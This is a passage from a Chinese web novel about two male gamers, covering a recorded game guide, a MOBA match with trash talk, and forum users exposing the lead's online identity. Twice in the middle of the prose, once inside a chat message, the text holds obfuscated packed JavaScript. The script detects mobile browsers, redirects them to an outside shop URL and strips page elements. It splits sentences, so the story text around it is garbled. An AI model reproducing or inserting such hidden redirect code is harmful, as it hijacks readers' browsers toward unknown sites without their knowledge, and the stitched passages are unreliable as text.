“你是不是把这事想得太严重了？” 他拉了把椅子在旁边坐下，“就是个游戏解说，又不是上新闻联播。你平时组队开麦不也挺正常的？” “那不一样。”黎清盯着桌子上的盲盒摆件，“组队开麦是为了报点，这个是录下来给别人参考的。” 萧奕然没接话，伸手拿过他的耳机。指尖碰到手背时，停顿了不到半秒，随后自然地把耳机戴到了自己头上。 “来，你现在就当是在跟我说话。” “啊？” “不是要录攻略吗？”他把麦克风往他面前推了推，“把我当观众，把你想说的跟我说一遍。” 他怎么突然这么好心…吃错药了？ 虽然有点怪，但总归是个办法。黎清看着视频，又看看旁边的人，深吸一口气，点开录制软件。 “大家好，我是小清。今天给大家带来新副本‘失控核心’的首通攻略，重点讲一下最终BOSS战的打法……” 用的是萧奕然的账号素材，黎清只能以帮会成员[小清宝宝]的身份进行解说。变声器打开，细细的女声从麦克风里传出来，带着点紧绷的颤。 萧奕然戴着耳机，第一次面对面听他用变声器。 靠，这也太夹了。 虽然听过无数次，但这现场版还是让他心头一震。录个视频而已，差点没滴出水，不知道的还以为是在跟谁撒娇呢。 他攥了攥拳头，忍住了没打断。目光却不受控制地落在黎清侧脸上。屏幕的光映得人皮肤更白，睫毛一颤一颤的。 黎清自然不知道他在想什么，表情十分严肃： “首先，BOSS进入二阶段后会释放大招，这个时候很多队伍会选择静步不动，但实际上最优解是分散跑动，让它进入多目标锁定模式，这样就不会触发范、范……” 这里又卡壳了，脑子里明明有画面，可舌头却像是打了结。 “范围攻击。”萧奕然友情提示。 “对！”黎清赶紧接上，结果一紧张嘴又瓢了，“触发范攻围击。” 空气安静了一秒。 “你刚才说什么？” 抓到错处，萧奕然果然没放过他，声音带着一丝微妙的上扬。 黎清的耳朵“腾”地红了：“口误。” “范攻围击？”萧奕然重复，眼底那点笑意已经快藏不住了，“这词儿挺新鲜，新出的技能？” “你快别说了…” 黎清恨不得把头埋进显示器里，偏偏萧奕然还不肯放过他，煞有其事地教他说话： “来，再念一遍我听听——范、围、攻、击。” “……喂！” 黎清恼羞成怒地推他，结果这人却纹丝不动，反倒是自己坐的椅子底下带滚轮，被反作用力顶的滑退半米。 萧奕然被他这反应逗笑了。不是那种冷笑或嘲讽，是真的笑出了声，眉眼都松快下来。 “行了，不逗你了。”他直起身，嘴角还挂着没收住的弧度，“继续录吧，范攻围击大师。” “还有，语气严肃点，别这么虚的，听着一点都不专业。” 可我本来就不是专业的啊！ 黎清想翻白眼，但奇怪的是，被这么一闹，刚才那股紧绷的劲儿却散了，心还是跳的很快。 他们又顺了几遍关键的地方。等把整趟副本捋完，黎清已经能完整地表达思路。还不够流畅，但剪辑一下也够用。 录完最后一个字，他才发现自己的手心都出汗了。 点击回放，画面伴随着声音传出来。还是熟悉的咬字风格，比平时稍微正式一点，很青涩，但隔着屏幕都能感觉到认真。 “挺好的。”知道他的性格，萧奕然直接拍板，“就这个感觉，不用再改了。” 黎清盯了电脑一会儿，忽然抬起头，眼睛亮亮的。 “谢谢你啊。” 萧奕然别开视线：“谢什么，又不是我帮你录的。” 顿了顿，还补了一句：“攻略做的还行，就是人太怂了。” 黎清没反驳，继续傻乐，又把视频重听了一遍，反复拉进度条，总觉得还能再优化优化，比做小组汇报还认真。 “别改了，再过两天这副本都要被别人研究透了。” 最后还是萧奕然看不下去，以太晚了自己要睡觉为由，催他赶紧把视频发出去，这才将人劝到床上去。 . 熬了个大夜，闹到凌晨三点多，第二天自然是睡到日上三竿。 睁开眼时，房间里已经没人了。黎清揉了揉眼睛，以为萧奕然出门了，到了客厅却发现他还在屋子里。 “你有刮胡刀没？” 萧奕然应该也是刚醒，正在卫生间洗漱。黎清没听清他说的话，便径直走了过去。 “你说什么？”他探进半个脑袋。 萧奕然正站在镜子前端详自己的脸，闻言转头：“我说，你的电动刮胡刀借我用一下。” 关于他说的这个物件，黎清过了几秒才反应过来。 “哦，那个啊。”他的声音弱下去，“我没有电动的。” “什么？” “就是……”黎清伸手，拉开洗手台下方的抽屉，“只有这种，通常用完就扔掉了。” 萧奕然顺着他手指的方向，果然看见一些没拆封的一次性刮毛刀。塑料壳子，没拇指宽的刀片，纯手动作业，是他这辈子都没用过的东西。 男人沉默两秒。 “你平时就用这个？” “嗯。”黎清回答，“挺好用的啊，卫生又便宜。” 萧奕然拆了一个，对着镜子试了试。皂条有点窄，刀刃也钝。凑合能用，就是得注意角度，不然很容易划伤。 勉强刮掉下巴上的胡茬，萧奕然对着镜子看了看，似乎还算满意。正要冲洗一遍脸，他却忽然转过头，目光落在黎清身上。 黎清被他盯得发毛：“干嘛？” 萧奕然没说话，伸手摸到他的颈侧，将脸掰了过来。 “你干什么！”黎清吓了一跳，下意识想摆开，但没拼过萧奕然的手劲。 “别动。” 萧奕然盯着他的脸看了几秒，眉头微微皱起，像是在研究什么非常稀罕的物件。 他凑得很近。近到黎清能看清他下巴上还没洗掉的泡沫，能在那双眼睛里看见自己。 “你该不会……” 目光细细扫过，萧奕然开口，语气里带着几分不可思议，“不长胡子吧？” 说着，他的拇指还在黎清下巴上蹭了蹭。皮肤光洁，触感细滑，别说胡茬，连毛囊都摸不太出来。 “真的没有。”萧奕然松开手，表情有些复杂，“你到底几岁了？” “十九…” 这个问题黎清已经回答过很多次了。 萧奕然挑眉：“十九岁了不长胡子，那你平时刮毛刀都用在哪里的？” 说着他视线下移，似乎还想检查黎清的腿。要不是衣服还穿着，估计连胳膊都要掀起来查看一番。 胡子少犯法吗？ 黎清被他这种审视的目光看得不自在，小声替自己辩解：“长得慢而已。” 萧奕然嗤笑：“我看你是毛都没长齐。” 听到这几个字，黎清僵住。 也许只是调侃，算不上太大恶意，可那句话落在他耳朵里却有些尖锐，狠狠戳到了痛处。 他不是第一次被这么说了。中学时就有同学开玩笑，说他长得像女生，说他声音细。 当然，最糟糕的当属曾经的大学室友，几头体育系的公猩猩，用所谓的“男子气概”来贬低人，其中自然也包括体毛是否浓密的话题。害得他一度有些自卑，上厕所都只敢去隔间里。 黎清垂下眼，没说话，转身就想走。但卫生间总共就几平米的地方，过道也很狭窄。他往左，萧奕然就往左；他往右，萧奕然又挡住。 最后这人变本加厉，干脆往前迈了半步，单手撑在他耳侧的墙上。 “让开。” 黎清的声音闷闷的。 男人没动：“生气了？” “……” “嗯？说话。” 发现他表情不对，犯罪嫌疑人的语气放低了些，带着点自己都没察觉的试探。 这次离得更近。近到黎清能清楚地感受到那种压迫感——不是故意的，是他自带的气场，把视野都挡了大半。 黎清偏过头，视线从他肩膀越过，看见镜子里两个人影。 一个堵在身前，高大健硕，宽肩腿长。 一个却被挤在墙角，只勉强露出半个发顶。 路被堵着，陷入僵局。见这人今天是非要刨根问底，大有一副不说话就不放人的架势。黎清憋了一会儿，终于愤然开口： “你胡子多就很厉害吗？” 他抬头对上萧奕然的视线。眼眶没红，但瞳孔有东西在闪，不是委屈，是非常的不服气。 “你知不知道现在已经不流行体毛重的类型了，看着就邋里邋遢的。毛发管理听过吗？女生更喜欢精致的，我对这方面比较注重而已。” 他倒豆子般说了一堆，说是回怼，战斗力却堪比一块扔出去的橡皮。 “我就开个玩笑。” 萧奕然叹了口气，估计是没想到黎清会这么大反应：“没别的意思，你别生气了。” “我没有…” 黎清下意识反驳，可目光又不自觉滑到对方身上。滑过那宽阔的肩、露了半截的手臂线条、以及被衣服勾勒出的肌肉轮廓。 反观自己呢？ 净身高177，其实不算矮了。但骨架太窄，肌肉含量也约等于零，浑身上下都软绵绵的，从底子上就比别人落后好多。 这对比太惨烈，黎清嘴上说着“体毛很邋遢”、“都是傻大个”，但心里说不要却是假的，这世界根本一点都不公平。 “你偷看我做什么？”觉察到他乱瞟的视线，萧奕然忽然问，声音比刚才还要沙哑。 被抓了个正着，黎清也垂下眼帘，遮住眼底那点羡慕：“你挡着我了，我还能看哪里。” 萧奕然没动，只是垂眼看他。视线居高临下，从睫毛滑到嘴唇，又落回眼睛，像在持续检视着他每一寸皮肤。 黎清被他看得心里发毛，正要再开口，对方忽然收回撑在墙上的手，往后退了半步。 “行，放你走。” 堵在身前的压迫感消失了，但空气里好像还残留着什么，黏糊糊的。 黎清低头从他身侧溜过去，耳根烫得厉害。走出卫生间好几步，还觉得那道视线黏在后背上，甩都甩不掉。 … 磨磨蹭蹭洗漱完，又到了午餐时间。 黎清本想煮点速食糊弄过去，没想到萧奕然居然早有准备，趁他睡的香时点了外卖，这会儿正好送到。 吃饭的时候，黎清的手机响个不停，提示音一串接一串，像是有什么要紧的消息。 【C：我靠，我的好徒弟】 【C：出息了你】 【C：你之前说要报复的仇人，原来就是二区的独孤啊！！！】 黎清解锁屏保就看见了这几条微信，居然是好久没联系的“导师”发来的，后面还跟着三个叹号。 他怎么会知道独孤的事？ 还没来得及问，对面就直接甩过来一个链接。 【C:[链接＞失控核心速通视频（附讲解）]】 【C：这是你发的帖子吧。今天早上飘到论坛热门了，我就点进去看了眼，嚯，楼主不是老熟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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传闻中的小清宝宝，果然是标准少萝音 #111 好家伙，看我在楼主的主页发现了什么 [链接：＞最近和朋友走的比较近，大家总开我们玩笑怎么办] 这不是之前在隔壁情感区上了个小热门的求助帖吗，我当时收藏追更了，但更到一半断了，气煞我也 #115 ！这帖子我也刷到过，还分享给亲友看了。但我们一致觉得很假，毕竟谁家好人这么给游戏搭子花钱，甚至都没确定关系 #119 我也有印象，当时很多人骂楼主是捞女，也有人说她那个搭子是心机男 不过后来被质疑也没给出自证，就当成编故事烂尾处理了 #120 nb。游戏搭子，能爆金币，大帮会帮主，疑似在排行榜。这完全说的就是独孤本人啊 #123 那会儿还是被开玩笑会烦恼的关系，现在居然修成正果了 #125 我服了，刚刚好奇去搜了一下小清宝宝的账号，狗眼差点被闪瞎 情侣ID就算了，连头像和头像框都是情侣款，主页挂了关系和挂件。甚至灵宠都是对方的名字，就差把对象纹脸上了 #128 我要笑死了吧，有人在隔壁贴留言。说自己的号貌似被独孤私信过，出价2w要买他ID“家妻小清”，但他当时在学校手机被收了没看见，现在肠子都悔青了 #134 痛失天降横财，换我我也难受 #136 怎么这人的对象也叫小清？ #140 他没对象，小清是个二次元同名小萝莉哈哈哈 #142 这么看独孤还挺恋爱脑的。你们看小清宝宝的主页，头发是18w8彩礼套的，大翅膀也是最新顶奢。抛开别的不谈，你孤少挺大方，有钱是真花啊[大拇指] #145 我上次也这么说，不过被喷成筛子了 #150 看的我仇富了…申请转回农村频道 #153 没准这份姻缘还有咱们一份功劳呢？按照时间线来说，小清宝宝发完这个帖子后没过多久他们就在一起了，很可能就是咱们的回复给了她启发，让她认清了自己的内心 #158 坛友看见独孤能不应激就算情绪稳定了，少往脸上贴金行吗 … 帖子的走向在认出账号主人后彻底跑偏了。 身为论坛和游戏里都很出名的玩家，萧奕然平时的一举一动本就被人盯着。排行榜下降后虽然讨论度变低了，但“口碑”依旧。 有人扒出[点水青]就是独孤女友的论坛号后，好事者又去翻了[小清宝宝]的天问账号，那些高调的恋爱痕迹全被翻了出来：情侣ID、同款头像框、主页挂的关系，一个不落。 #201 哎，其实真挺甜的吧，我都有点磕他俩了 #204 莫名其妙被秀一脸，散了散了 … 黎清往下刷了几页，心里越来越不是滋味。 自己熬夜录的攻略，还麻烦萧奕然帮了那么多忙，辛辛苦苦才发出去。现在看的人多，论坛和某站数据都不错，可大部分人都不是冲着内容来的。 再看帖子里那些对他们恋爱的猜测：羡慕嫉妒的、说“好嗑”的——再想想他们现在这尴尬的关系，心里更是堵得慌。 “还吃不吃饭了，一直看手机。” 萧奕然的声音从对面传来，黎清抬头，发现他正看着自己，筷子都放下了。 “在看我昨天晚上发的那个攻略帖。”黎清解释，“但他们都在讨论别的。” “讨论什么？” “就你啊。”黎清把手机屏幕往他那边转，“有人认出是你的号了。” 萧奕然瞥了一眼，表情没什么变化，拿起筷子继续扒饭，吃的很香。 “认出来就认出来，我的号又不是见不得人。” 黎清张了张嘴，想说什么，又没法反驳。 他们现在这关系，真相暴露、人却住一起了。说撕破脸好像也没完全破，游戏里的情侣关系居然还挂着——他自己都理不清，真不知道萧奕然是怎么想的。 “吃的又少又慢，难怪这么瘦。想要长肌肉首先就得多吃饭。” “……哦。” 没想到那时的小情绪还是没瞒过他，黎清有点脸热。索性把手机扣在桌上，专心往嘴里扒饭。 手机屏幕暗下去前，来自微信的最新消息弹出来，可他却没有看见： 【C：话说你们现在还谈着吗？如果没断的话，建议你把之前的帖子都删掉吧，现在的网友很敏锐的】 30.第三十章 作为一个资深宅男，黎清曾创下连续一周窝在宿舍、连外卖都不点——仅靠泡面和能量棒维生的记录，每天唯一的运动量就是下楼倒垃圾。 那时候好歹还住在学校。室友走光了，但楼里还有同学，走廊里还有宿管，总归不算真正的“与世隔绝”。 等我搬出去了，我就要…… 他幻想过无数次独居生活：没有熟人，没有宿管，空间更大，打游戏打到天亮也没人管。甚至洗澡的时候还能哼两首歌——要求不高，这样就很满足了。 可真搬出来之后，才发现好像差点意思。 陶朗人是不错，但毕竟是个大活人，抬头不见低头见。别的先不说，就拿洗澡唱歌这事儿来说，黎清就始终没好意思开过口。 于是他又熬啊熬，好不容易熬到寒假，熬到陶朗回家，就在他以为梦想中的自由生活终于要到来时，房子里居然又闯进一个不速之客—— “鼠标不太灵敏。” “屏幕好小，我把电脑往前挪点可以吧。” “你这个耳机就没有无线的吗？” 不对吧。 这和我幻想的独居生活好像不太一样。 被迫将电脑让出去后，黎清心里就隐隐压着火。当初“约法三章”答应借电脑给萧奕然是出于补偿。可这补偿里可没包括要听他提要求，更不包括让这人坐在桌前指指点点。 “有线耳机的性价比更高一点。” 他耐着性子跟萧奕然解释。同等价位下，肯定是有线耳机的音质更好。 但说了又觉得没意思，萧奕然以前晒过自己的桌面，一水的昂贵顶配，跟他说了也不会理解的。 “昨天就不该提前回去，”萧奕然还在念叨，“不然还能配点新的带过来。” 黎清终于忍不住了。 虽然他的设备是菜了点，但好歹也陪伴了他这么久，更是代练赚钱的好帮手。能正常打游戏，不卡顿不就行了？有什么好挑三拣四的。 “那你去街对面网吧租个包间好了，”他没好气地怼了一句，“那边的设备肯定比我好，至少不是笔记本。” 萧奕然愣了一下，像是想说什么：“我的意思是给你买……” 这句话没说完。他深吸了口气，瞥了眼黎清的脸色，像是强忍着什么。最后还是闭上嘴巴，臭着脸启动了电脑。 * 开头就不太愉快，接下来的时间更是煎熬。 据萧奕然说，上次那几个朋友约他玩，可能有需要黎清出场的地方，所以他得在旁边守着。 他们几个打游戏，到底有什么需要我的地方…… 黎清满腹狐疑地坐在一旁，眼睁睁看着萧奕然打开游戏，登录语音。 “来了。” 因为某些原因，黎清不许萧奕然用自己的耳机了。反正屋里就他们两个，外放也不影响。 萧奕然发言之前，还盯着麦克风多看了两眼。 而黎清则是将这一行为理解为嫌弃，瞬间有种大仇得报的快感：让你挑三拣四，还不是只能用我用过的麦克风，嫌弃也没得挑。 连进语音频道，人依旧是那几个，一个发小，两个室友，游戏里还匹了个路人。 这回几人没上次那么亢奋，简单打过招呼就飞快开了一局。等加载的时候，萧奕然的发小突然开口： “话说老萧你不是说要奔现吗，奔的怎么样了？” 他这话说的突然，众人都没有准备，黎清更是心里猛的一惊。 …奔现？ “嗯，奔了。” 萧奕然倒风轻云淡的，选择性回答了发小的问题。他没多说，可另外几人却不淡定了。 “啥，你去奔现？去哪里奔现？” “原来你之前是网恋？就那个跟我们一起打游戏的妹妹？” “见到面了吗，人怎么样，赶紧说说。” 他们当然知道萧奕然有对象，毕竟之前还一起打过破晓，被狠狠秀了一脸。那会儿谁都看得出这两人正在热恋当中。可除了和萧奕然住一起的发小，其他人都没想到他们居然连面都没见过。 隔着网线都这么腻歪，见了面还得了？ “他突然就跑过去奔现了，现在人没影儿，线上也没消息。”一个朋友插嘴道，“估计正带着女朋友逍遥快活呢。” 他太了解萧奕然了。按这位少爷的脾气，要是奔现翻车、初恋破灭，是绝不可能像现在这样心平气和地坐在这儿打游戏的。 既然没说什么，那肯定就是很满意了。 “那妹妹真人漂亮吗？” “现在进展如何？” 几个男的八卦起来也是够烦人的，眼看他们问的越来越多。萧奕然不耐烦地打断，“行了，好好打游戏。” 他的语气不怎么好，但面色却没什么变化，至少在黎清这边看是这样的。 正巧这会儿游戏加载开局，萧奕然也一副不想被问太多的样子，几个朋友没再说话，这个话题就算过去了。 原来他跟别人说自己是来奔现的啊…… 听他们聊的这些，黎清心中五味杂陈。也不知道萧奕然一开始是抱着何种目的来找自己，发现真相的那一刻又是什么心情。 没把这事戳穿应该也是为了面子吧。线下找网恋对象却找到个男的，估计说出去也挺丢人的，他默默地想。 游戏开始了。 黎清原本只是百无聊赖地靠在一旁，抱着枕头刷手机。他没什么心思看，脑子里还在转着刚才那些对话。 直到耳机里传来一声干脆利落的“First Blood”，他才下意识抬头。 屏幕里，萧奕然操控的角色正从敌方野区撤出来，血量还剩一丝，身后躺着对面打野的尸体。动作干净利落，甚至连技能都没交全。 “往我这靠。”萧奕然随口说了一句，语气平淡得像在讨论今天的天气。 黎清没说话，但目光已经黏在屏幕上。 接下来的几分钟，他眼睁睁看着那个角色像开了上帝视角一样在峡谷里游走。预判、卡视野、技能衔接。每一个操作都精准得可怕。对面打野被他反烂了，三次进野区三次躺尸，最后干脆绕着自家buff走。 “对面打野心态估计炸了。”语音里有人笑道。 萧奕然没吭声，只是手指在键盘上敲了几下，头也不回地往龙坑走。 黎清不知不觉坐直了身子。 他不是没见过玩的好的。作为moba游戏里的常青树，破晓对决从来不缺高手。 但和平时看直播或职业比赛不同，亲眼围观的视角显然更具冲击力，那种毫秒之间的反应、刀尖舔血的走位、一个人追着对面三个人打的压迫感，隔着屏幕都能让人肾上腺素飙升。 萧奕然现在就是这样。不到十五分钟，一波团战他绕后切c，技能全躲，伤害打满，最后虽然自己也死了，周围却躺满尸体。队友也趁机推掉水晶。 第一把游戏结束，语音频道里反应很是激烈。都在嚷嚷着萧奕然吃药了，必须尿检。 “对面好菜。”萧奕然如是说。 和之前带黎清五排一样，接下来的几局也是单方面碾压。黎清第一次知道打野原来这么忙，刷钱、抓人、控龙、推塔，每时每刻都有事要做，节奏快的让人喘不过气。 又赢了一把。萧奕然放下鼠标，忽然转过头。 黎清正保持着同一个姿势盯着屏幕，脖子都僵了。不知不觉间，他的上半身已经往前倾斜，快贴到萧奕然身上了。对上那双眼睛的瞬间，他才意识到自己看得有多入神。 “看够了？”萧奕然的声音压得很低。 黎清耳朵一热，还没来得及说话，语音里先有了回应。 “看够了看够了！” “大哥，有你这么装逼的吗，我整把都没单吃过一波兵线。” “我支持谁带飞谁吃钱。” 萧奕然没理他们，目光还落在黎清脸上。黎清则把抱枕往上拽了拽，挡住半张脸。 “想不想试试？”萧奕然忽然问。 “什么？” “C位。”萧奕然抬了抬下巴，指着屏幕，“你来一把中单。” 黎清愣了一下。 他确实看得手痒。刚才那几把游戏确实太燃了，燃到他都有点想上手试试，重拾一把年少时的电竞梦。 于是他们换了个位置，像昨晚一样，黎清坐到电脑前，萧奕然换到旁边。 新开了一把排位，黎清选了个自己唯一知道技能的法师：妮娜。新手专用英雄，本体是一只小兔子，没什么花里胡哨的操作，打的就是一波爆炸伤害。但同时身板脆没位移，一抓就死，行走于刀尖之上。 对于“萧奕然”一声不吭秒锁妮娜的行为，几个队友都有点疑惑，但只以为他玩打野玩累了，自觉换了个人补上。 进入游戏，黎清走到塔前，回忆着之前看过的主播操作开始对线。因为不熟悉技能，他只敢后手补兵，对面中单走了就给队友打信号。 终于在六分钟的时候，他抓住一波对面支援回来的机会，卡在草丛的死角，配合自家打野收掉了人头。 “还行。”萧奕然点评道。 黎清本来想笑，嘴角都扬起来了，生生压了下去。 之后几分钟，自家射辅来了中路几趟，慢慢磨掉一塔，让他有了游走支援的空间，装备也慢慢成型。 十二分钟前，龙点将至，妮娜的核心装备做出来了。预感到伤害足够，黎清刻意留个假视野，提前蹲在草丛里，一波技能甩过去，将对面打野直接带走。 【敌方＞瑞秋（专杀妹妹）：你*的这个死兔子你给我等着】 【敌方＞瑞秋（专杀妹妹）：老子这把抓不死你，我***】 龙点前被蹲，对面的打野显然破防了，直接对妮娜进行人身攻击。看见他发的文字，萧奕然在旁边“啧”了一声，正想说什么，就看见黎清噼里啪啦打起字来。 【我方＞妮娜（小清的宝）：谁在叫】 【我方＞妮娜（小清的宝）：哭哭，我就路过草丛套了只狗，我干啥了】 【我方＞妮娜（小清的宝）：你们有人听见犬吠吗？】 自家队友被人骂了，黎清这边的几个也火速跟团，纷纷说着好像是听见有狗在叫——就是不知道这狗去哪了——可能是被打死了吧云云，把对面打野气得够呛。 萧奕然看愣了。 不止是他，麦里的各位也有点意外。 “老萧你这把怎么怪怪的，平时遇到这种人不是早上国骂了吗？还‘哭哭’，吓得我鸡皮疙瘩起来了。” “对啊，玩的也特别阴，哈哈哈。” 什么叫阴，这是谨慎！黎清扁了扁嘴，没说话。谁知道空闲的麦却被旁边的人抢过去： “不是我。” 跟昨天一样，萧奕然再次发表“宣言”，说明现在号上的不是本人。 而黎清被他突然靠近的气息扰得手一抖，差点原地把闪现按出来了。 “我靠，那谁在玩？” “这语气，这英雄池，看着像个女的。” “不会是嫂子吧？你们住一块了？” 先前就提到过奔现的话题，他们很快就联想到了萧奕然的神秘“女友”。仔细想想也是，既然是特地去找恋人见面的，那自然应该时时刻刻待在一起。 “好吧，还是你们会玩。” “我以为今天他对象不在就不会像上次那样腻歪了，没想到还是逃不过。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254138|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听着他们的吐槽，黎清耳朵发烫，死死盯着屏幕，假装什么都没听见。 “专心。”萧奕然在他耳边说，“对面打野来抓兔子了。” 他的话音刚落，瑞秋的身影果然从草丛里冒出来。他潜伏已久，誓要报刚才的血仇，技能不要钱地招呼过来。 而黎清也反应很快，迅速交闪现拉开身位，直接一套连招控住对面，配合技能直接杀死，再次收下了他的项上人头。 “兔兔这么可爱，怎么可以打兔兔！” 伴随着妮娜击杀后的语音，瑞秋再次破防开骂。但因为词汇太过分，被系统检测到违规，当场被禁言12小时。趁他不能说话的功夫，黎清自然不会轻易放过，垃圾话一句接着一句刷过去。 【我方＞妮娜（小清的宝）：哥哥不是要杀我吗，怎么又被挂到天上了】 【我方＞妮娜（小清的宝）：而且你队友怎么都不帮你说话呢？不像我家的】 【我方＞妮娜（小清的宝）：怎么都领先六千经济了，是丧葬费吗】 最终，在黎清和队友几人的轮番挑衅下，对面窝窝囊囊地被打了个2-18的人头比。 顺带一提，直到水晶爆炸前，瑞秋的队友也没开口说过一句话，估计也知道自家打野不占理吧。 “Victory！” 激昂的女声再次响起，记不清是今天赢得第几把了。不仅游戏赢了，骂战也高据上风，真是酣畅淋漓的一把对局。 【队伍＞嫂子，你是这个[大拇指]】 【队伍＞被嫂子带飞了哈哈】 【队伍＞萧哥还回来吗，要不我们再开一把？】 知道兄弟换人了，几个朋友不好意思继续开麦侃大山，索性换成了游戏内打字。 【队伍＞小清的宝：不玩了，下了】 萧奕然自然不允许，当即把游戏和语音都退了。 “开心么？” 房间里突然安静下来，只剩下电脑散热的风扇声。 黎清坐在椅子上，心脏还在狂跳。不知道是因为刚才那把的胜利，还是因为身后那道一直落在他身上的视线。 “…还行吧？”他学着萧奕然的语气，强装镇静地回答。 萧奕然看着他，嘴角弯了弯。 “挺厉害的。”他说，“游戏是，怼人的时候也是，怪不得今天要怼我。” “那是他先骂我的！”黎清反驳。 今天也是你先…惹我的。 不知从何时起，最初的不愉快已经消散。留下的是一次关于游戏的回忆，虽然不在同一局，但也算得上某种意义上的“并肩作战”。 萧奕然又在看自己了，一眨不眨，就这么盯着。自从今天换完位置开始就一直这样，他到底想做什么？ 黎清坐立难安。 就在这时，一通微信电话突然拨了过来，打破了两人之间说不清道不明的氛围。 “喂？你没看见我给你发的微信吗？” ——居然是C打过来的，除了那次自证性别的语音条，黎清还是第二次听见他的声音，不抬头看一眼还以为是陌生电话。 “我没看手机，刚在打游戏。”他向C解释。其实还有一个原因是他刚才切到微信大号了。 “别打游戏了，快点看我发你的消息！” 随后C便挂断了电话，他的语气十分紧张，像是有什么要紧的事，黎清连忙切到小号。 【C：话说你们现在还谈着吗？如果没断的话，建议你把之前的帖子都隐藏掉吧，现在的网友很敏锐的】 【C：不回我消息，徒弟翅膀硬了[怒]】 【C：喂，我感觉帖子有点不对劲，他们好像在扒你】 【C：你是傻子吗？之前的帖子不隐藏就算了，收藏夹和点赞记录也开着，是生怕别人不知道你什么来头】 【C：看见了就赶紧删帖子，不对，删也删不干净，还有历史回复呢，直接注销账号吧】 【C：到底干嘛去了？】 【C：[通话时长 00.26]】 什么情况？ 看他一条比一条激动的消息，黎清刚才还滚烫的心瞬间凉了下来。 他翻到上面，点开帖子链接。只见中午吃饭时还只有三百多回帖的楼层，现在已经飙升到一千多，一个火热的hot标挂在标题前面。 实在没时间一层层看了。黎清点击按时间倒序，刷出来的最新回帖让他两眼一黑—— 【此版块为公开】交流灌水专区 【天问分区】交流＞＞＞攻略 《主题：失控核心速通视频（附讲解）》#hot … #1336 所以说现在的结论就是，这个小清很有可能是骗子呗？不是男的装女的，就是肥仔装少萝 #1340 我宣布这是今年我吃到的最精彩的一个瓜 #1345 独孤被骗了哈哈哈哈，现在看他的名字【爱妻小清】，有没有感觉特别讽刺 ＃1350 我就说哪来那么多人美声甜的网络女神，十个有八个都是假的 #1352 现在还别急着下定论，等当事人出来说话啊 #1358 坐等独孤出来好吧，这点水青估计过不了多久就要删帖跑路了 … “啪嗒——” 手机从黎清手里滑落，砸在地板上。他站在原地，一动不动，脸色白得吓人。 萧奕然察觉到不对，站起身走过来。 “怎么了？” 黎清没回答。他甚至没弯腰去捡手机，就那么僵着，眼睛还盯着屏幕。尽管屏幕已经暗下去了。 31.第三十一章 手机砸在地板上，发出沉闷的声响。 萧奕然走过来的时候，看见的就是这样一副场景：黎清僵在原地，脸白得不像话，身体微微颤抖，整个人像被抽走了魂。 “怎么了？” 面前的人没回答，甚至好像没听见。 萧奕然有点不解，他看了看黎清的表情，明明几分钟前这人还一切正常，游戏玩高兴了，尾巴都要翘到天上去，对自己也有了好脸色。怎么接了个电话就突然变成现在这样？ 他捡起手机，显然，这就是让黎清失魂落魄的罪魁祸首。 屏幕暗了，但还没彻底锁屏，点了一下就重新亮起。绿白色的界面跳进视线，熟悉的版头，颇有年代感的网页设计，赫然正是天问的玩家交流论坛。 看到这熟悉的地方，萧奕然的嘴角微微下撇。 他玩游戏向来独来独往，没有社交需求，也不关注这些圈子，唯一一次注册账号就是因为去年那场争执，手下败将输不起就在论坛花钱挂人，让他对这里的印象也非常差劲。 首楼的视频他再熟悉不过，毕竟是自己陪着录的。不算专业，但胜在细致，还提出了一个从未有过的新打法，按理说应该很受欢迎才对。 就回复量来看，帖子确实挺受欢迎的，才发出不到24小时就盖了几十页的楼。 可他粗略扫过去，除了最初的几十层在聊攻略和副本外，里面的人似乎都在热火朝天的聊着别的东西。 “他们在讨论你，有人认出是你的号了。” 中午黎清说的话回响在耳畔，指的应该就是这个。 这论坛里的很多人还是老样子，对萧奕然的一举一动都十分关注，言语间酸中带呛，把二人的恋爱迹象扒了个底朝天。 【哎，其实真挺甜的吧，我都有点磕他俩了】 看到这层楼时，萧奕然的神色才稍微好转了一点——看来这里面还是有正常人的。 可随着楼层越来越高，有关他们恋情的内容也被翻得越来越多，甚至涉及到了私生活方面。 #218 所以这两人是怎么谈上的啊？纯网聊吗 #220 估计是人以群分吧。 这游戏里很多玩家最爱搞小团体了，做顶奢的只跟做顶奢的玩，根据氪条划分圈子，等级制度森严 #222 而我呢，我最爱跟天心城桥洞底下的乞丐玩 #230 @220L 那必不可能啊，【链接＞当代练把一个月生活费赔了，心塞》】 一个月一千五，哪家千金小姐生活费就这么点？估计都是独孤送的 #235 我去，这得花了多少 #238 感觉几十个w该有了 #242 那肯定啊，一个彩礼套就快20个了。而且你孤少游戏里都这么腻歪了，私底下能不狠狠上贡爆金币吗 … 看到这里，萧奕然的手指顿了顿，点开了那个做代练被骗钱的链接。 帖子是八月一日凌晨发的，当时他和黎清应该还不认识，或者说，有过一段“孽缘”。 发帖人的语气很失落，一千五百块钱对他来说显然不是小数目，跟了很多流泪大哭的表情。 【摸摸，要不想办法找家长再要点？接下来的日子总得过啊】 有人这样安慰楼主，怂恿他跟家里撒个小谎，让父母再汇点钱过来救急。 【谢谢你的建议，我家里不给生活费。不过日子也还能过的，我自己攒了奖学金。】 面对建议，楼主只是简单回了一句。可萧奕然却好像能看见他垂头丧气又强装没事的样子。 家里不给支持，经济来源全靠奖学金和兼职。对于萧奕然这种想要什么就直接伸手的人来说，几乎是件难以想象的事。 他不是什么同情心泛滥的人。放在别人身上，大概会觉得事不关己。 